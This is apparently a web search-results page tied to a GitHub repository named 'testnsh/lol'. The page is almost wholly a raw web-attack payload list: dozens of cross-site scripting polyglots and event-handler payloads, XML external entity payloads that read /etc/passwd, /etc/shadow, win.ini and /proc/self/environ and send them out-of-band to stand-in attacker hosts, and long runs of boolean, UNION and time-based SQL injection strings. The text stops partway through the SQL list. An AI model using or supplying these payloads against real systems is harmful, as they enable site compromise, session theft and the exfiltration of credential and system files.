Showing results for 112/1.5=
GitHub Repo
https://github.com/testnsh/lol
testnsh/lol
" onmouseover=alert(9205) bad=" "/>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=prompt() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=prompt(123)//>\x3e jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e " onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)// jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> '<script>alert(1)</script> <script>alert(1)</script> <script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script> <script> </script> <script>\u0061\u006C\u0065\u0072\u0074(123)</script> <script>document.write(String.fromCharCode(60,105,109,103,32,115,114,99,61,49,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,48,41,62));</script> <script>document.write('<img src=1 onerror=alert(1)>');</script> " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> /*-->]]>%>?></object></script></title></textarea></noscript></style></xmp>'-/"/-alert(1)//><img src=1 onerror=alert(1)>' javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/* javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/ javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/* javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/* javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()// javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/* --></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/* /</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/* ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> “ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// '">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg"> <script>document.write('\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x31\x20\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x61\x6C\x65\x72\x74\x28\x31\x29\x3E');</script> <script>document.write('\074\151\155\147\040\163\162\143\075\061\040\157\156\145\162\162\157\162\075\141\154\145\162\164\050\061\051\076');</script> <script>document.write('\u003C\u0069\u006D\u0067\u0020\u0073\u0072\u0063\u003D\u0031\u0020\u006F\u006E\u0065\u0072\u0072\u006F\u0072\u003D\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029\u003E');</script> <div style="x:expression(alert(1))">Joker</div> <div style="x:\65\78\70\72\65\73\73\69\6f\6e(alert(1))">Joker</div> <div style="x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(alert(1))">Joker</div> <div style="x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029">Joker</div> <iframe src="javascript:alert(1)"></iframe> <iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe> <img src="1" onerror="alert(1)" /> <img src="1" onerror="alert(1)" /> <iframe src="javascript:alert(1)"></iframe> <script>document.write('<a hr\ef=j\avas\cript\:a\lert(2)>blah</a>');</script> <style>body{background-color:expression\(alert(1))}</style> javascript://--></title></style></textarea></script><svg "//' onclick=alert()// /</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/* <"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></ '%22()%26%25<><ScRiPt%20>alert(1)</ScRiPt> ' onmouseover=alert(9205) bad=' "><svg/onload=prompt(1)> "onresize=prompt(1)> <svg/onload=prompt(1) <svg><script>prompt(1)<b> <svg><script>prompt(1)</script> '%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E <<scr\0ipt/src=http://xss.com/xss.js></script %253Cscript%253Ealert('XSS')%253C%252Fscript%253E <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onoffline="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onpagehide="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onpageshow="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onpopstate="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onresize="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onstorage="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onunload="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onblur="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onchange="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oncontextmenu="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oninput="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oninvalid="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onreset="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onsearch="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onselect="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onsubmit="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onkeydown="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onkeypress="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onkeyup="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onclick="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondblclick="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmousedown="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmousemove="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmouseout="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmouseover="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmouseup="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmousewheel="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onwheel="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondrag="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondragend="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondragenter="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondragleave="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondragover="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondragstart="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondrop="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onscroll="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oncopy="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oncut="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onpaste="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onabort="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oncanplay="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oncanplaythrough="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oncuechange="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondurationchange="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onemptied="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onended="alert(String.fromCharCode(88,83,83))"> <Img src = x onerror = "javascript: window.onerror = alert; throw XSS"> <Video> <source onerror = "javascript: alert (XSS)"> <Input value = "XSS" type = text> <applet code="javascript:confirm(document.cookie);"> <isindex x="javascript:" onmouseover="alert(XSS)"> "></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> "><img src="x:x" onerror="alert(XSS)"> "><iframe src="javascript:alert(XSS)"> <object data="javascript:alert(XSS)"> <isindex type=image src=1 onerror=alert(XSS)> <img src=x:alert(alt) onerror=eval(src) alt=0> <img src="x:gif" onerror="window['al\u0065rt'](0)"></img> <iframe/src="data:text/html,<svg onload=alert(1)>"> <meta content="
 1 
; JAVASCRIPT: alert(1)" http-equiv="refresh"/> <svg><script xlink:href=data:,window.open('https://www.google.com/')></script <meta http-equiv="refresh" content="0;url=javascript:confirm(1)"> <iframe src=javascript:alert(document.location)> <form><a href="javascript:\u0061lert(1)">X </script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'> <style>//*{x:expression(alert(/xss/))}//<style></style> On Mouse Over? <img src="/" =_=" title="onerror='prompt(1)'"> <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe <script x> alert(1) </script 1=2 <form><button formaction=javascript:alert(1)>CLICKME <input/onmouseover="javaSCRIPT:confirm(1)" <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> <OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT> <A HREF="http://google:ha.ckers.org">XSS</A> <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo> <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]> <foo><result>∾</result></foo> <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY % xxe SYSTEM "file:///etc/passwd"> <!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo> https://medium.com/@ismailtasdelen/xml-external-entity-xxe-injection-payload-list-937d33e5e116 Vanilla, used to verify outbound xxe or blind xxe -------------------------------------------------------------- <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> ]> <r>&sp;</r> --------------------------------------------------------------- OoB extraction --------------------------------------------------------------- <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"> %sp; %param1; ]> <r>&exfil;</r> ## External dtd: ## <!ENTITY % data SYSTEM "file:///c:/windows/win.ini"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>"> ---------------------------------------------------------------- OoB variation of above (seems to work better against .NET) ---------------------------------------------------------------- <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"> %sp; %param1; %exfil; ]> ## External dtd: ## <!ENTITY % data SYSTEM "file:///c:/windows/win.ini"> <!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://x.x.x.x:443/?%data;'>"> --------------------------------------------------------------- OoB extraction --------------------------------------------------------------- <?xml version="1.0"?> <!DOCTYPE r [ <!ENTITY % data3 SYSTEM "file:///etc/shadow"> <!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd"> %sp; %param3; %exfil; ]> ## External dtd: ## <!ENTITY % param3 "<!ENTITY % exfil SYSTEM 'ftp://Evilhost:port/%data3;'>"> ----------------------------------------------------------------------- OoB extra ERROR -- Java ----------------------------------------------------------------------- <?xml version="1.0"?> <!DOCTYPE r [ <!ENTITY % data3 SYSTEM "file:///etc/passwd"> <!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd"> %sp; %param3; %exfil; ]> <r></r> ## External dtd: ## <!ENTITY % param1 '<!ENTITY % external SYSTEM "file:///nothere/%payload;">'> %param1; %external; ----------------------------------------------------------------------- OoB extra nice ----------------------------------------------------------------------- <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % start "<![CDATA["> <!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml "> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://evil/evil.xml"> %dtd; ]> <root>&all;</root> ## External dtd: ## <!ENTITY all "%start;%stuff;%end;"> ------------------------------------------------------------------ File-not-found exception based extraction ------------------------------------------------------------------ <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" > %one; %two; %four; ]> ## External dtd: ## <!ENTITY % three SYSTEM "file:///etc/passwd"> <!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>"> -------------------------^ you might need to encode this % (depends on your target) as: % -------------- FTP -------------- <?xml version="1.0" ?> <!DOCTYPE a [ <!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd"> %asd; %c; ]> <a>&rrr;</a> ## External dtd ## <!ENTITY % d SYSTEM "file:///proc/self/environ"> <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>"> --------------------------- Inside SOAP body --------------------------- <soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body> --------------------------- Untested - WAF Bypass --------------------------- <!DOCTYPE :. SYTEM "http://" <!DOCTYPE :_-_: SYTEM "http://" <!DOCTYPE {0xdfbf} SYSTEM "http://" OR 1=1 OR 1=0 OR x=x OR x=y OR 1=1# OR 1=0# OR x=x# OR x=y# OR 1=1-- OR 1=0-- OR x=x-- OR x=y-- OR 3409=3409 AND ('pytW' LIKE 'pytW OR 3409=3409 AND ('pytW' LIKE 'pytY HAVING 1=1 HAVING 1=0 HAVING 1=1# HAVING 1=0# HAVING 1=1-- HAVING 1=0-- AND 1=1 AND 1=0 AND 1=1-- AND 1=0-- AND 1=1# AND 1=0# AND 1=1 AND '%'=' AND 1=0 AND '%'=' AND 1083=1083 AND (1427=1427 AND 7506=9091 AND (5913=5913 AND 1083=1083 AND ('1427=1427 AND 7506=9091 AND ('5913=5913 AND 7300=7300 AND 'pKlZ'='pKlZ AND 7300=7300 AND 'pKlZ'='pKlY AND 7300=7300 AND ('pKlZ'='pKlZ AND 7300=7300 AND ('pKlZ'='pKlY AS INJECTX WHERE 1=1 AND 1=1 AS INJECTX WHERE 1=1 AND 1=0 AS INJECTX WHERE 1=1 AND 1=1# AS INJECTX WHERE 1=1 AND 1=0# AS INJECTX WHERE 1=1 AND 1=1-- AS INJECTX WHERE 1=1 AND 1=0-- WHERE 1=1 AND 1=1 WHERE 1=1 AND 1=0 WHERE 1=1 AND 1=1# WHERE 1=1 AND 1=0# WHERE 1=1 AND 1=1-- WHERE 1=1 AND 1=0-- ORDER BY 1-- ORDER BY 2-- ORDER BY 3-- ORDER BY 4-- ORDER BY 5-- ORDER BY 6-- ORDER BY 7-- ORDER BY 8-- ORDER BY 9-- ORDER BY 10-- ORDER BY 11-- ORDER BY 12-- ORDER BY 13-- ORDER BY 14-- ORDER BY 15-- ORDER BY 16-- ORDER BY 17-- ORDER BY 18-- ORDER BY 19-- ORDER BY 20-- ORDER BY 21-- ORDER BY 22-- ORDER BY 23-- ORDER BY 24-- ORDER BY 25-- ORDER BY 26-- ORDER BY 27-- ORDER BY 28-- ORDER BY 29-- ORDER BY 30-- ORDER BY 31337-- ORDER BY 1# ORDER BY 2# ORDER BY 3# ORDER BY 4# ORDER BY 5# ORDER BY 6# ORDER BY 7# ORDER BY 8# ORDER BY 9# ORDER BY 10# ORDER BY 11# ORDER BY 12# ORDER BY 13# ORDER BY 14# ORDER BY 15# ORDER BY 16# ORDER BY 17# ORDER BY 18# ORDER BY 19# ORDER BY 20# ORDER BY 21# ORDER BY 22# ORDER BY 23# ORDER BY 24# ORDER BY 25# ORDER BY 26# ORDER BY 27# ORDER BY 28# ORDER BY 29# ORDER BY 30# ORDER BY 31337# ORDER BY 1 ORDER BY 2 ORDER BY 3 ORDER BY 4 ORDER BY 5 ORDER BY 6 ORDER BY 7 ORDER BY 8 ORDER BY 9 ORDER BY 10 ORDER BY 11 ORDER BY 12 ORDER BY 13 ORDER BY 14 ORDER BY 15 ORDER BY 16 ORDER BY 17 ORDER BY 18 ORDER BY 19 ORDER BY 20 ORDER BY 21 ORDER BY 22 ORDER BY 23 ORDER BY 24 ORDER BY 25 ORDER BY 26 ORDER BY 27 ORDER BY 28 ORDER BY 29 ORDER BY 30 ORDER BY 31337 RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'=' RLIKE (SELECT (CASE WHEN (4346=4347) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'=' IF(7423=7424) SELECT 7423 ELSE DROP FUNCTION xcjl-- IF(7423=7423) SELECT 7423 ELSE DROP FUNCTION xcjl-- %' AND 8310=8310 AND '%'=' %' AND 8310=8311 AND '%'=' and (select substring(@@version,1,1))='X' and (select substring(@@version,1,1))='M' and (select substring(@@version,2,1))='i' and (select substring(@@version,2,1))='y' and (select substring(@@version,3,1))='c' and (select substring(@@version,3,1))='S' and (select substring(@@version,3,1))='X' Generic Time Based SQL Injection Payloads # from wapiti sleep(5)# 1 or sleep(5)# " or sleep(5)# ' or sleep(5)# " or sleep(5)=" ' or sleep(5)=' 1) or sleep(5)# ") or sleep(5)=" ') or sleep(5)=' 1)) or sleep(5)# ")) or sleep(5)=" ')) or sleep(5)=' ;waitfor delay '0:0:5'-- );waitfor delay '0:0:5'-- ';waitfor delay '0:0:5'-- ";waitfor delay '0:0:5'-- ');waitfor delay '0:0:5'-- ");waitfor delay '0:0:5'-- ));waitfor delay '0:0:5'-- '));waitfor delay '0:0:5'-- "));waitfor delay '0:0:5'-- benchmark(10000000,MD5(1))# 1 or benchmark(10000000,MD5(1))# " or benchmark(10000000,MD5(1))# ' or benchmark(10000000,MD5(1))# 1) or benchmark(10000000,MD5(1))# ") or benchmark(10000000,MD5(1))# ') or benchmark(10000000,MD5(1))# 1)) or benchmark(10000000,MD5(1))# ")) or benchmark(10000000,MD5(1))# ')) or benchmark(10000000,MD5(1))# pg_sleep(5)-- 1 or pg_sleep(5)-- " or pg_sleep(5)-- ' or pg_sleep(5)-- 1) or pg_sleep(5)-- ") or pg_sleep(5)-- ') or pg_sleep(5)-- 1)) or pg_sleep(5)-- ")) or pg_sleep(5)-- ')) or pg_sleep(5)-- AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'=' AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP) AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)-- AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)# SLEEP(5)# SLEEP(5)-- SLEEP(5)=" SLEEP(5)=' or SLEEP(5) or SLEEP(5)# or SLEEP(5)-- or SLEEP(5)=" or SLEEP(5)=' waitfor delay '00:00:05' waitfor delay '00:00:05'-- waitfor delay '00:00:05'# benchmark(50000000,MD5(1)) benchmark(50000000,MD5(1))-- benchmark(50000000,MD5(1))# or benchmark(50000000,MD5(1)) or benchmark(50000000,MD5(1))-- or benchmark(50000000,MD5(1))# pg_SLEEP(5) pg_SLEEP(5)-- pg_SLEEP(5)# or pg_SLEEP(5) or pg_SLEEP(5)-- or pg_SLEEP(5)# '\" AnD SLEEP(5) AnD SLEEP(5)-- AnD SLEEP(5)# &&SLEEP(5) &&SLEEP(5)-- &&SLEEP(5)# ' AnD SLEEP(5) ANd '1 '&&SLEEP(5)&&'1 ORDER BY SLEEP(5) ORDER BY SLEEP(5)-- ORDER BY SLEEP(5)# (SELECT * FROM (SELECT(SLEEP(5)))ecMj) (SELECT * FROM (SELECT(SLEEP(5)))ecMj)# (SELECT * FROM (SELECT(SLEEP(5)))ecMj)-- +benchmark(3200,SHA1(1))+' + SLEEP(10) + ' RANDOMBLOB(500000000/2) AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) RANDOMBLOB(1000000000/2) AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/ ' '' ` `` , " "" / // \ \\ ; ' or " -- or # ' OR '1 ' OR 1 -- - " OR "" = " " OR 1 = 1 -- - ' OR '' = ' '=' 'LIKE' '=0--+ OR 1=1 ' OR 'x'='x ' AND id IS NULL; -- '''''''''''''UNION SELECT '2 %00 /*…*/ + addition, concatenate (or space in url) || (double pipe) concatenate % wildcard attribute indicator @variable local variable @@variable global variable # Numeric AND 1 AND 0 AND true AND false 1-false 1-true 1*56 -2 1' ORDER BY 1--+ 1' ORDER BY 2--+ 1' ORDER BY 3--+ 1' ORDER BY 1,2--+ 1' ORDER BY 1,2,3--+ 1' GROUP BY 1,2,--+ 1' GROUP BY 1,2,3--+ ' GROUP BY columnnames having 1=1 -- -1' UNION SELECT 1,2,3--+ ' UNION SELECT sum(columnname ) from tablename -- -1 UNION SELECT 1 INTO @,@ -1 UNION SELECT 1 INTO @,@,@ 1 AND (SELECT * FROM Users) = 1 ' AND MID(VERSION(),1,1) = '5'; ' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') -- Finding the table name Time-Based: ,(select * from (select(sleep(10)))a) %2c(select%20*%20from%20(select(sleep(10)))a) ';WAITFOR DELAY '0:0:30'-- Comments: # Hash comment /* C-style comment -- - SQL comment ;%00 Nullbyte ` Backtick sleep(5)# 1 or sleep(5)# " or sleep(5)# ' or sleep(5)# " or sleep(5)=" ' or sleep(5)=' 1) or sleep(5)# ") or sleep(5)=" ') or sleep(5)=' 1)) or sleep(5)# ")) or sleep(5)=" ')) or sleep(5)=' ;waitfor delay '0:0:5'-- );waitfor delay '0:0:5'-- ';waitfor delay '0:0:5'-- ";waitfor delay '0:0:5'-- ');waitfor delay '0:0:5'-- ");waitfor delay '0:0:5'-- ));waitfor delay '0:0:5'-- '));waitfor delay '0:0:5'-- "));waitfor delay '0:0:5'-- benchmark(10000000,MD5(1))# 1 or benchmark(10000000,MD5(1))# " or benchmark(10000000,MD5(1))# ' or benchmark(10000000,MD5(1))# 1) or benchmark(10000000,MD5(1))# ") or benchmark(10000000,MD5(1))# ') or benchmark(10000000,MD5(1))# 1)) or benchmark(10000000,MD5(1))# ")) or benchmark(10000000,MD5(1))# ')) or benchmark(10000000,MD5(1))# pg_sleep(5)-- 1 or pg_sleep(5)-- " or pg_sleep(5)-- ' or pg_sleep(5)-- 1) or pg_sleep(5)-- ") or pg_sleep(5)-- ') or 